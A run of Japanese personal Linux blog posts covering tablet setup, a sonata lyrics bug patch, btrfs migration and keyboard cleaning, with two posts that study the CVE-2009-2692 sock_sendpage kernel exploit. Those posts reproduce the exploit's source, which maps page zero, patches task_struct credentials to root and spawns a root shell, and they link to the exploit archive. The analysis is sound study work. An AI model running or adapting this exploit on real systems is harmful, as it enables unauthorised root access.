と書いておく。こうするとtoggle-input-methodで切り替えができるようになる。
Shift+spaceで切り替えをしてほしいので、

(global-set-key [?\S-\ ] 'toggle-input-method) ;; shift + space

とも書いておく。

これで導入終了。やっぱりディストリビューションのサポートがあるといいわー。

2011/12/31

Linux(Gentoo)でWacom Intuos 4を使う。

自分の環境は、OSはGentoo Linux、1920x1200のモニタのデュアルディスプレイ(nVidiaのTwinView使用)
画像を作るときはGIMPかmypaintで作ってる。
このたび、Intuos 4を購入した。

まずカーネルのCONFIG_TABLET_USB_WACOM=yにする。
Device Drivers -> Input device support -> Generic input layer -> tabletsにある。
Say Y here if you want to use the USB version of the Wacom Intuos or Graphire tablet.とあるので
これでいいのだろう。USBとかEvent interfaceとかにもチェックしておく必要があるらしい。

次にX用のwacomのドライバをインストール
# emerge xf86-input-wacom
でインストールできる。楽チン。で、マシンを再起動する(カーネルも変えてるし。)
ワコム用のツールもダウンロードしておくといい。
# emerge xsetwacom
# emerge xinput

こうすればもう使えるようになってる。
だが、スクリーンが3840x1200扱いなのでIntuosの横がモニタ2枚ぶんにマッピングされてて
少々使いづらい。
お絵かきは左のきれいなモニターでやれればいいや、という事でIntuosの横幅を左のモニタにマッピングする
方法を探したら、xinputでできるらしい。

# emerge xinput

まず、
$ xinput list とすると現在つながってる入力デバイスの一覧が。Wacom Intuos4もちゃんと出てる。
Wacom Intuos4 6x9 stylus                  id=11   [slave  pointer  (2)]
Wacom Intuos4 6x9 eraser                  id=12   [slave  pointer  (2)]
Wacom Intuos4 6x9 cursor                  id=13   [slave  pointer  (2)]
Wacom Intuos4 6x9 pad                     id=14   [slave  pointer  (2)]

これをマッピングしたい。
http://sourceforge.net/apps/mediawiki/linuxwacom/index.php?title=Dual_and_Multi-Monitor_Set_Up
このリンクを参考にし、wacom-settings.shというファイルを作成。
#!/bin/sh

xinput set-prop "Wacom Intuos4 6x9 stylus" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 cursor" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 pad"    --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 eraser" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1

これを実行すればタブレットと1枚目のモニタが対応していい感じになった。
あとは絵の書き方を学ぶだけかな。。。。

2011/07/07

sonata 1.6.2.1のlyrics fetch bug

自分は音楽再生にmpdとクライアントのsonataを使っていた。quodlibetも使うことがあるがsonataはやっぱり使いやすい。
最近はアクティブに開発されてないみたいだけど。

sonataはLyricWiki (http://lyrics.wikia.com/)から歌詞をFetchしてくるのだが、ある時からそれがFailしまくっている事に気づいた。
歌詞が載っている曲でもFailするので、バグじゃないかという事でコードを見てみる。

まず、Wiresharkでパケットを見てみる。
Infoタブの(Search)っていう所を押すと、Artist NameとSong Titleを入力して、そこからFetchに行くっぽいが、どうもArtist NameとSong Titleを入力しても
それがGETリクエストに反映されてないっぽかった。
"http://lyricwiki.org/index.php?title=:&action=edit”
みたいになっちゃってる。本来なら、The ToastersとEast Side Beatで検索すると
"http://lyricwiki.org/index.php?title=The%20Toasters:East%20Side%20Beat&action=edit"
ってなるべきだと思われる。

sonata-1.6.2.1をダウンロードしてみると、info.pyのget_lyrics_thread()にこれを行う部分が。
try:
    lyricpage = urllib.urlopen("http://lyricwiki.org/index.php?title=%s:%s&action=edit" % (self.lyricwiki_format(search_artist), self.lyricwiki_format(search_title))).read()
    content = re.split("]*>", lyricpage)[1].split("")[0]
    if content.startswith("#REDIRECT [["):
        addr = "http://lyricwiki.org/index.php?title=%s&action=edit" % urllib.quote(content.split("[[")[1].split("]]")[0])
        content = urllib.urlopen(addr).read()
    lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
    if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
        lyrics = misc.unescape_html(lyrics)
        lyrics = misc.wiki_to_html(lyrics)
        lyrics = lyrics.decode("utf-8")
# Save lyrics to file:
        misc.create_dir('~/.lyrics/')
        f = open(filename, 'w')
        f.write(lyrics)
        f.close()
    else:
        lyrics = _("Lyrics not found")
    gobject.idle_add(self.info_show_lyrics, lyrics, filename_artist, filename_title)

ここに渡されるsearch_artistとsearch_titleがおかしいのか。という事で呼び出し元をみるとmain.pyのon_lyrics_search()が。
ここのdialog.destroy()のタイミングがおかしかった。dialog.destroy()をしてからartist_entry.get_text()を呼んでいる。順番は逆であるべきか。
ここを直したがまだ歌詞ガFetchできん…。
ちゃんとリクエストは送れてるっぽいしレスポンスも大丈夫そうだった。結果のparseがおかしいのか。

と思ってもう一度info.pyを見た。
get_lyrics_threadにあるparseを行う部分と返されるレスポンスを見てみると、
info.pyでは
lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
としているが、実際のレスポンスは
"<lyrics>" "</lyrics>"
となっている事に気づく。>でなく直接>が帰ってきていた。これはLyricWikiのバグ(仕様か?)と思われたがとりあえずparseできるようにsplitの中を改変。
試してみると歌詞のFetch成功。やったわ。

パッチは以下のようになった。
diff -ur sonata-1.6.2.1/sonata/info.py sonata-1.6.2.1.fix/sonata/info.py
--- sonata-1.6.2.1/sonata/info.py    2009-09-22 06:02:16.000000000 +0900
+++ sonata-1.6.2.1.fix/sonata/info.py    2011-07-07 21:40:31.063073755 +0900
@@ -393,8 +393,8 @@
                 if content.startswith("#REDIRECT [["):
                     addr = "http://lyricwiki.org/index.php?title=%s&action=edit" % urllib.quote(content.split("[[")[1].split("]]")[0])
                     content = urllib.urlopen(addr).read()
-                lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
-                if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
+                lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
+                if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
                     lyrics = misc.unescape_html(lyrics)
                     lyrics = misc.wiki_to_html(lyrics)
                     lyrics = lyrics.decode("utf-8")
diff -ur sonata-1.6.2.1/sonata/main.py sonata-1.6.2.1.fix/sonata/main.py
--- sonata-1.6.2.1/sonata/main.py    2009-09-22 06:02:16.000000000 +0900
+++ sonata-1.6.2.1.fix/sonata/main.py    2011-07-07 21:40:00.149073735 +0900
@@ -2132,12 +2132,12 @@
         ui.show(dialog.vbox)
         response = dialog.run()
         if response == gtk.RESPONSE_ACCEPT:
-            dialog.destroy()
             # Delete current lyrics:
             filename = self.info.target_lyrics_filename(artist, title, None, consts.LYRICS_LOCATION_HOME)
             misc.remove_file(filename)
             # Search for new lyrics:
             self.info.get_lyrics_start(artist_entry.get_text(), title_entry.get_text(), artist, title, os.path.dirname(mpdh.get(self.songinfo, 'file')))
+            dialog.destroy()
         else:
             dialog.destroy()


The Toasters - East Side Beat
http://www.youtube.com/watch?v=bLqCpPpB4rI
いつ聞いてもいいですね。

いいの思いついたわ。

思いついてalias o='xdg-open'ってしてみた。これでどんな種類のファイルでもGUIでダブルクリックするみたいに
「開く」ができるわ。
$ o hoge.jpg
$ o hoge.pdf
$ o hoge.avi
みたいな。今のところ便利に使ってます。
自分の端末では/usr/bin/xdg-openにあったから見てみたらシェルスクリプトでした。
detectDEっていう関数で
detectDE()
{
    if [ x"$KDE_FULL_SESSION" = x"true" ]; then DE=kde;
    elif [ x"$GNOME_DESKTOP_SESSION_ID" != x"" ]; then DE=gnome;
    elif `dbus-send --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager > /dev/null 2>&1` ; then DE=gnome;
    elif xprop -root _DT_SAVE_MODE 2> /dev/null | grep ' = \"xfce4\"$' >/dev/null 2>&1; then DE=xfce;
    elif [ x"$DESKTOP_SESSION" == x"LXDE" ]; then DE=lxde;
    else DE=""
    fi
}

みたいにしてDEをゲットして、例えばgnomeだったらopen_gnomeっていう関数でgvfs-openなりgnome-openなりを呼んでるのね。
なるほど。。
ほとんどターミナル上で作業するので便利。
$ eog huga.pdf
とかやってウザくなることが少なくなっていいわ。

2011/06/26

Androidでrootを取れるcve-2009-2692を見る(後半)

前回はアドレス0x00000000がどうやって実行されるのかを書いた。後半は何が実行されるのかを調べる。

もう一度exploitを見てみる。

int main(void) {
    char template[] = "/tmp/padlina.XXXXXX";
    int fdin, fdout;
    void *page;

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid); // 現在のプロセスのtask_structにuid,uid,uidの並びをセット。
    setresgid(gid, gid, gid); //

    if ((personality(0xffffffff)) != PER_SVR4) {
        if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
            perror("mmap");
            return -1;
        }
    } else {
        if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
            perror("mprotect");
            return -1;
        }
    }

    *(char *)0 = '\x90'; // nop
    *(char *)1 = '\xe9'; // jmp
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。

    if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
        perror("mkstemp");
        return -1;
    }

    if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    unlink(template); //作ったファイルネームを削除。
    ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
    sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

task_structの領域にsetresuidでuid,uid,uidの並びをセットする。
その後run.cでセットしてたpersonalityをチェックし、
mmap & mprotectで0x00000000から0x1000バイトに0を書きこみREAD,WRITE,EXEC属性をつける。

もちろんrun.cでpersonalityをPER_SVR4にしておかないとこんな事はできない。

ここまできたら0x00000000に実行用のコードを埋めこんでここを実行させる(sock_sendpageさせる)のみ。
0x00000000にはnop(0x90)を、
0x00000001にはjmp (kernel code - 6のアドレス)と書きこむ。kernel codeのアドレスを0x12345678とすると

90 e9 12 34 56 72

となる。e9はrelative jumpなことに注意。つまり0x06からの距離。
ここでkernel_code関数に飛ぶ。

void kernel_code()
{
    int i;
    uint *p = get_current();

    for (i = 0; i < 1024-13; i++) { // task_structの中をいじる。setresuidされて入ったuidとかgidとかをみつける--> そこを0に(root)
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    exit_kernel();
}

kernel_code関数はまずget_currentを呼びtask_structのアドレスを得る。
get_current関数を見てみると、

static inline __attribute__((always_inline)) void *get_current()
{
    unsigned long curr;

    __asm__ __volatile__ (
        "movl %%esp, %%eax ;"  // espの値をeaxにセット
        "andl %1, %%eax ;"     // eaxの13ビットをクリア
        "movl (%%eax), %0"     // (%eax)をr(どのレジスタでもよいという事)にセット -> つまりcurrになる。
        : "=r" (curr)
        : "i" (~8191)          // 8101 = 0x1fff
    );
    return (void *) curr;      // 現在のespを0xffffe000でマスクした物を返す。
}

プロセスはkernel中にthread_info構造体とカーネルスタックを持つ。これらは2つのページに連続してある。
thread_info構造体の第一要素はtask_struct(以下を参照)、1pageの大きさは0x1000 (4096)。
thread_infoは前半のほうなので(偶数番目) 0x2000にある。

/** arch/x86/include/asm/thread_info.h **/
struct thread_info {
    struct task_struct    *task;        /* main task structure */
    /* 略 */
};

つまりget_current関数でtask_structのcurrentを得るということ。


currentを得た後は、for (i = 0; i < 1024-13; i++) のループを始めるわけだが、このコードのしたい事は、
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
この部分でメモリ上でuid,uid,uid,uid,gid,gid,gid,gidと並んでいるところを捜して、そこを0にするという物。uid=0はrootを意味するから。
でも、task_structみてもそんな並びの部分ねえよ。。task_struct->real_cred内に権限情報があるからこんな方法でアクセスできないし。

と思ってlinux-2.6.22.3を見てみたらバッチリあった。

/** include/linux/sched.h (linux-2.6.22.3) **/
struct task_struct {
       /* 略 */
/* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;

}

直書き…
とにかくここが0,0,0,0,0,0,0,0になる。
つまり昔のコードではちゃんと狙い通り動くと。cve-2009-2692の脆弱性は2.6.30.4まで存在するが、このexploitは2.6.30.4では動かない。まあ実際試したわけじゃないが。
まあexploitの動作を理解するためだしいいか。
ちなみにこのuid,uid,uidっていう並びを捜すのは昔のexploitでは定番の手法だったらしい。なるほど…


あとはexploitの最後、exit_kernel関数。

#define USER_CS    0x73
#define USER_SS    0x7b
#define USER_FL    0x246
#define STACK(x) (x + sizeof(x) - 40)

static inline __attribute__((always_inline)) void exit_kernel()
{
    __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        :  // 出力レジスタはない。
        : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
}

これは適当な数字をスタックに積んで(その領域を使わせるようにして) iretする。
intする前のEIPはexit_codeのアドレスという事にしておく。するとシステムコールから帰った後はexit_codeのアドレスから実行を再開。することになる。
これでカーネルモードは終わり。ユーザモードに帰った後は、今きちんとrootかどうかを確認して、

void exit_code()
{
    if (getuid() != 0) {
        fprintf(stderr, "failed\n");
        exit(-1);
    }

    execl("/bin/sh", "sh", "-i", NULL); // -i はインタラクティブ
}

rootなら
"/bin/sh -i"を実行!!

これでroot shellゲット。exploit成功というわけだ。

2011/06/13

Androidでrootを取れるcve-2009-2692を見る(前半)

linux kernel 2.6.30.5以降はこの方法でrootを取ることはできなくなっているが、
HT-03AでAndroid 1.5からrootを取るのはこのBugを利用したExploitであったとのこと。
今さらだが気になったのでどんなBugだったのか調べてみた。

まず、今回のexploitのもととなるsock_sendpage()関数。ここの
sock->ops->sendpageがNULLになっている、というのが今回のバグのもと。
通常ならif(!sock->ops->sendpage)とかでチェックしてエラーするべき、という所か。

見てみるカーネルだが、カーネルは2.6.30.4を見た。2.6.30.5からこのBugに対する対策が取られている。

まず、問題となっているsock_sendpageを見てみる。
/** net/socket.c **/
static ssize_t sock_sendpage(struct file *file, struct page *page,
    int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;

sock = file->private_data;

flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;

return sock->ops->sendpage(sock, page, offset, size, flags);
}

今回はこのsendpageがNULLを参照している、という事を利用しNULLに実効させるコードを置いておく、という手法らしい。
ある種のsocketに対しsendpageさせる、というのが今回のrootへの道か。

さっそくcve 2009 2692 exploitとググって出てきたexploit
http://www.frasunek.com/proto_ops.tgz
を見てみることにした。

通常はこんなことはできないようになっているが。。exploitを見てみる。

ファイルは3つ。run.cとexploit.cがあり、run.shでrun.cを実効している。

run.cはこれだけ。
/** exploit/runc. **/
int main(void) {
if (personality(PER_SVR4) < 0) {
perror("personality");
return -1;
}

fprintf(stderr, "padlina z lublina!\n");

execl("./exploit", "exploit", 0);
}

personalityって何?という事でmanを見てみると、
Linux は、プロセス毎の異なる実行ドメイン、すなわち パーソナリティ (personality) をサポートしている。
実行ドメインは Linux にシグナル番号にどのシグナルを割り付けるかを 教えたりする。
また、実行ドメイン・システムにより、 Linux は他の Unix 風のオペレーティング・システムでコンパイルされた バイナリに対する限定的なサポートを提供している。

らしい。
つまりrun.cはexploitのパーソナリティをSVR4にすることが目的。
で、肝心のexploit.c。
まずはmainから。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
   if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}

*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。

if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}

if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}

unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

空のファイルからPPPOEのソケットにsendfile。これが巡りに巡ってsock_sendpageを呼ぶのだろう。
その過程を見てみる。


まず、ユーザ空間でsendfile()すると、sys_sendfileが呼ばれ、そこからdo_sendfileが呼ばれる。
/** fs/read_write.c **/
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
  size_t count, loff_t max)
{
/* 略 */
retval = do_splice_direct(in_file, ppos, out_file, count, fl);
/* 略 */
}

do_sendfileは、do_splice_directを呼ぶ。ここでファイルの内容の転送がおこる。
今回の場合はin_fileは場合mkstempしたファイル、out_fileがソケット(PF_PPPOX)となっている。

以前のカーネル(ほかに手持ちだったlinux-2.6.22.3)ではdo_splice_directでなく
do_sendfileはin_file->f_op->sendfile()を呼んでいた。
この関数は通常generic_file_sendfileを指していて、
そこから呼ばれていく関数内で、do_generic_file_read() -> do_generic_mapping_readと来て、

do_generic_mapping_readの中でret = actor(desc, page, offset, nr);
actorはfile_send_actorで、file_send_actorはdesc->arg.data->f_op->sendpageを呼ぶ。

desc->arg.data = out_fileであり、
out_file->f_op->sendpage()これは、sock_attach_fd内で
file->f_op = &socket_file_ops;となっており、
socket_file_opsのsendpageはsock_sendpageである。

という流れだった。

linux-2.6.30.4ではdo_splice_directを見ると、
/** fs/splice.c **/
long do_splice_direct(struct file *in, loff_t *ppos, struct file *out,
     size_t len, unsigned int flags)
{
struct splice_desc sd = {
.len = len,
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out, /* out はここ。これがsocket。*/
};
long ret;

ret = splice_direct_to_actor(in, &sd, direct_splice_actor); /* (1) */
/* 略 */
return ret;
}

splice_direct_to_actorはpipeをゲットして、
ret = do_splice_to(in, &pos, pipe, len, flags);
で書きこみ、
ret = actor(pipe, sd);
とする。
actorは(1)で渡したdirect_splice_actorのことで、

/** fs/splice.c **/
static int direct_splice_actor(struct pipe_inode_info *pipe,
      struct splice_desc *sd)
{
struct file *file = sd->u.file;

return do_splice_from(pipe, file, &sd->pos, sd->total_len, sd->flags);
}

とpipeからoutに書く。で、do_splice_fromは、

/** fs/splice.c **/
static long do_splice_from(struct pipe_inode_info *pipe, struct file *out,
  loff_t *ppos, size_t len, unsigned int flags)
{
/* 略 */
return out->f_op->splice_write(pipe, out, ppos, len, flags);
}

とout->f_op->splice_writeを呼ぶ。
これは、sock_attach_fd内でfile->f_op = &socket_file_ops;とされており、
.splice_write = generic_splice_sendpage;である。(net/socket.c)
つまりここでgeneric_splice_sendpageが呼ばれる。
generic_splice_sendpageは、

/** fs/splice.c **/
ssize_t generic_splice_sendpage(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
return splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_sendpage); /*(2)*/
}

とsplice_from_pipeをpipe_to_sendpageを渡してコール。
splice_from_pipeはdo_splice_directと良く似ていて、

/** fs/splice.c **/
ssize_t splice_from_pipe(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags,
splice_actor *actor)
{
ssize_t ret;
struct splice_desc sd = {
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out,
};

pipe_lock(pipe);
ret = __splice_from_pipe(pipe, &sd, actor);
pipe_unlock(pipe);

return ret;
}

この__splice_from_pipeがactorを使ってpipeからsdにどんどん書きこんでいく処理をする関数。
/** fs/splice.c **/
ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd,
  splice_actor *actor)
{
int ret;

splice_from_pipe_begin(sd);
do {
ret = splice_from_pipe_next(pipe, sd);
if (ret > 0)
ret = splice_from_pipe_feed(pipe, sd, actor);
} while (ret > 0);
splice_from_pipe_end(pipe, sd);

return sd->num_spliced ? sd->num_spliced : ret;
}

このsplice_from_pipe_feed内で、

ret = actor(pipe, buf, sd);
とactor(現在は(2)のpipe_to_sendpage)を呼びだす。

このpipe_to_sendpageを見ると

/** fs/splice.c **/
static int pipe_to_sendpage(struct pipe_inode_info *pipe,
   struct pipe_buffer *buf, struct splice_desc *sd)
{
struct file *file = sd->u.file; /*これは書きだす先のout、つまりsocket*/
loff_t pos = sd->pos;
int ret, more;

ret = buf->ops->confirm(pipe, buf);
if (!ret) {
more = (sd->flags & SPLICE_F_MORE) || sd->len < sd->total_len;

ret = file->f_op->sendpage(file, buf->page, buf->offset,  /* これがsock_sendpage */
  sd->len, &pos, more);
}

return ret;
}

このfileがsocketなのでfile->f_op->sendpageは
sock_attach_fd()内でfile->f_op = &socket_file_ops;とされており、
.sendpage = sock_sendpage;である。(net/socket.c)
つまりここでsock_sendpageが呼ばれる。
という流れになっている。長かった・・・。

sock_sendpageが呼ばれる流れは以上の通りだが、sock_sendpageの中で呼ばれる
sock->ops->sendpageはどのようにNULLになっているのだろうか。


まず、socket呼びだしを見てみる。
socketを呼ぶと、次のような流れで呼ばれる。
sys_socket -> sock_create -> __sock_create

/* asmlinkage long sys_socket(int family, int type, int protocol)になる*/
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
int retval;
struct socket *sock;
/* 略 */
retval = sock_create(family, type, protocol, &sock); /* sock_createはすぐに__sock_createを呼ぶ */
/* 略 */
retval = sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
/* sock_map_fd()からsock_attach_fd()が呼ばれ、file->private_data = sockとされる。 retvalはそのfileのfd。*/
/* 略 */
return retval; /* fdが返る */
}

/** net/socket.c **/
static int __sock_create(int family, int type, int protocol,
struct socket **res, int kern)
{
/* 略 */
pf = rcu_dereference(net_families[family]);
/* 略 */
err = pf->create(sock, protocol);
/* 略 */
*res = sock /*ここでsockが返る*/
}

ここでnet_families[family]のcreateが呼ばれている。ここで今回のPPPOXのcreateを見ると、
/** drivers/net/pppox.c **/
static int pppox_create(struct socket *sock, int protocol)
{
int rc = -EPROTOTYPE;
/* 略 */
if (!pppox_protos[protocol] ||
   !try_module_get(pppox_protos[protocol]->owner))
goto out;

rc = pppox_protos[protocol]->create(sock); /* 今回socketの引数のprotocol = 0 */

module_put(pppox_protos[protocol]->owner);
out:
return rc;
}

このpppox_protos[protocol]っていうのはプロトコルファミリの中の実際のプロトコル。今回はpppoe。
以下のファイルでregisterしてる。
/** drivers/net/pppoe.c **/
static int __init pppoe_init(void)
{
int err;

err = proto_register(&pppoe_sk_proto, 0);
/* 略 */

  err = register_pppox_proto(PX_PROTO_OE, &pppoe_proto); /* if_pppox.hに #define PX_PROTO_OE = 0 */
      /* ここでpppox_protos[0]に&pppoe_protoをregisterされてる。 */
/* 略 */
}

static int pppoe_create(struct socket *sock)
{
struct sock *sk;

sk = sk_alloc(net, PF_PPPOX, GFP_KERNEL, &pppoe_sk_proto);
if (!sk)
return -ENOMEM;

sock_init_data(sock, sk);

sock->state = SS_UNCONNECTED;
sock->ops   = &pppoe_ops; /* sock->opsにpppoe_opsがセット */
/* 略 */
}

そのpppoe_opsとは
/** /drivers/net/pppoe.c **/
static const struct proto_ops pppoe_ops = {
    .family = AF_PPPOX,
    .owner = THIS_MODULE,
    .release = pppoe_release,
    .bind = sock_no_bind,
    .connect = pppoe_connect,
    .socketpair = sock_no_socketpair,
    .accept = sock_no_accept,
    .getname = pppoe_getname,
    .poll = datagram_poll,
    .listen = sock_no_listen,
    .shutdown = sock_no_shutdown,
    .setsockopt = sock_no_setsockopt,
    .getsockopt = sock_no_getsockopt,
    .sendmsg = pppoe_sendmsg,
    .recvmsg = pppoe_recvmsg,
    .mmap = sock_no_mmap,
    .ioctl = pppox_ioctl,                        /* .sendpageがない! */
};

sock->ops->sendpageは、設定されてないので、NULLであった。
こうして冒頭のsock_sendpage内でNULLを呼ばれるわけである。

2011/05/02

デュアルモニタ上でFlashコンテンツをフルスクリーンで見る

デュアルモニタにしてブラウザでFlashコンテンツを"Full Screen"にすると2画面にわたって表示されてしまう。
根本的な解決法はまだわかっていないが、1画面にする方法を考えてみた。

xorg.conf
Section "Screen"
     Option    "TwinView"
     Option    "TwinViewOrientation"        "RightOf"
     Option    "TwinViewXineramaInfoOrder"    "DFP-0,DFP-1"
     Option    "UseDisplayDevice"        "DFP-0,DFP-1"
     Option    "MetaModes"            "DFP-0: 1920x1200_60 +0+0,DFP-1: 1920x1200_60 +1920+0; DFP-0:1920x1200_60 +0+0"

TwinViewXineramaInfoOrderでスクリーンオーダーを指定して、Metamodesでモードをセミコロンで区切って列挙、
3840x1200と1920x1200を指定しておく。

$ xrandr
Screen 0: minimum 1920 x 1200, current 3840 x 1200, maximum 3840 x 1200
default connected 3840x1200+0+0 0mm x 0mm
   3840x1200      50.0*
   1920x1200      51.0 

ここで'xrandr -s 1'とすると左のモニタのみが使用されるようになる。
ここでブラウザ上のFlashコンテンツをフルスクリーンにすれば、1画面にできる。

元のデュアルモニタに戻すときは'xrandr -s 0'とすればよい。

2011/04/03

linuxハードディスク載せかえ、btrfs使用。

以前使ってたディスクから環境を新しいディスクに移すことにした。手順をメモ。

新しいディスクのファイルシステムは新しいbtrfsを使用することにした。btrfsのwikiに
"Btrfs is under heavy development, but every effort is being made to keep the filesystem stable and fast. As of 2.6.31, we only plan to make forward compatible disk format changes"
ってあったし。

まずカーネルコンフィグでbtrfsにチェックを入れ、btrfs-progsをインストール。自分の環境ではバージョンは0.19だった。ディスクのパーティションテーブルはMBR(msdos)じゃなくてGUIDパーティションテーブル(gpt)にした。
gptではmsdosと違って:基本パーティション"とか"論理パーティション"とかの区別は必要ない。grubをgptのディスクで使うためにはbios_grubフラグのついた空のパーティションが必要になる。

今まで使っていたディスク:/dev/sda、これから使う新しいディスク:/dev/sdb

# parted /dev/sdb
(parted) mklabel gpt            #gptパーティションを使用する。MBRにしたいときはmsdos。データは全て消える。
(parted) unit GIB                #ギビバイトを使用
mkpartですきなように分ける。ファイルシステムは聞かれるが反映されない。
(parted) toggle 1 bios_grub    #先頭にbios_grubフラグをつける。このパーティションは31kb以上ないといけない。
(parted) toggle 2 boot          #/bootのマウントポイント。vmlinuzが入る場所
(parted) print
Number  Start   End     Size    File system     Name  Flags
 1      1049kB  8389kB  7340kB                        bios_grub
 2      8389kB  2147MB  2139MB  ext4                  boot
 3      2147MB  8590MB  6442MB  linux-swap(v1)
 4      8590MB  81.6GB  73.0GB
 5      81.6GB  90.2GB  8590MB
 6      90.2GB  107GB   17.2GB
 7      107GB   1000GB  893GB
(parted) quit

# mkfs.btrfs /dev/sda4 等
これを書く現時点ではgrubはbtrfsに完全には対応していないのでext4にした。
# mkfs.ext4 /dev/sda2
# mkswap /dev/sda3
ここでシステムをログオフして/dev/sdaの内容を/dev/sdbにコピー。
作業用の環境としてSystemRescueCdを使用した。btrfsにも対応してていい感じ。
/dev/sda1(/mnt/sda1)の内容を/dev/sdb1(/mnt/sdb1)にコピーする場合は

# cd /mnt/sda1
# tar cpf - ./ | tar pfxvC - /mnt/sdb1
とすればよい。tarはpオプションでパーミッションを保存してくれる。

今回は/dev/sdb4が新しい/になる。
終わったら/以下の/bootとか/tmpとか/dev、/procをマウントさせてから新しい環境の/となる場所にchroot。
/dev、procをマウントさせるには
# mount -o bind /dev /mnt/sdb4/dev
# mount -t proc none /mnt/sdb4/proc
その後
# chroot /dev/sdb4

/etc/fstabを書き換えて、/usr/src/linuxでmake && make install && make modules_installして、grub-install /dev/sdbすればOK。
BIOSでbootを/dev/sdbのディスクから行うようにすれば新しいディスクに乗り換えることができる。足りない所があったらもう一度SystemRescueCdでブートして作業。
SystemRescueCd便利だわ。

2011/01/22

HHK Professional 2分解洗浄&組立

HHKBのProfessional 2を使っているが分解洗浄してみた。
まずキートップをはずす。スペースキーにはスプリングがついている。
無刻印モデルでもキートップの裏側に"E16"みたいな刻印があるので忘れず配置をメモしておく。自分はメモしなかったので組立時には完全に元通りにはなっていないw。
裏面のネジをはずしオープン、基盤についている沢山のネジをはずしていく。全部のネジをはずしたらそっと基盤とキーボード上面を分離。

ここでラバーカップとコイルスプリングが飛びだしてきやすいが予備はないので必ずなくさないようにする。キートップとキーボード上面は水で洗浄できるので洗剤と水で洗った。
コイルスプリングの静電容量の変化でon、offを読みとるこの形式、コイルスプリングを紛失するとそのキーは入力できなくなる。自分は一つどこに入るのかよくわからないコイルスプリングが出てしまったのでxevで一つ一つのキーを確認し、ようやく"-"のコイルスプリングがないことに気づいた。
組立はラバーカップ、コイルスプリングがずれないようにキーボード上面をそっと基盤にのせる。分解よりはるかに難易度が高かった。基盤にネジをはめて固定、キーボード裏面のネジを3つはめてクローズ。
